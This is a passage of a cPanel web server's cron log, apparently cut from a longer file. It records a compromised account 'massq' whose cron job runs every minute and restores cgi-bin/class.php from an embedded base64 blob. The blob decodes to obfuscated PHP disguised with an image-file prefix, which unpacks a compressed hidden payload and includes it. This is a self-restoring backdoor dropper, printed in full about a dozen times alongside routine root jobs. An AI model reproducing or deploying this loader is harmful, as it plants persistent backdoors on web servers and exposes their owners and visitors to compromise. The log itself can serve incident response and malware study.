LLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:23:01 server CROND[17547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:24:01 server CROND[17631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:25:01 server CROND[17861]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 20:25:01 server CROND[17862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:25:01 server CROND[17863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:25:01 server CROND[17864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:26:01 server CROND[18069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:27:01 server CROND[18127]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 20:27:01 server CROND[18126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:28:01 server CROND[18177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:29:01 server CROND[18255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:30:01 server CROND[18315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 20:30:01 server CROND[18317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:30:01 server CROND[18320]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  9 20:30:01 server CROND[18321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:30:01 server CROND[18319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:31:01 server CROND[18518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:32:01 server CROND[18565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:33:01 server CROND[18636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:34:01 server CROND[18698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:35:01 server CROND[18762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:35:01 server CROND[18763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:35:01 server CROND[18765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 20:35:02 server CROND[18768]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 20:35:02 server CROND[18769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
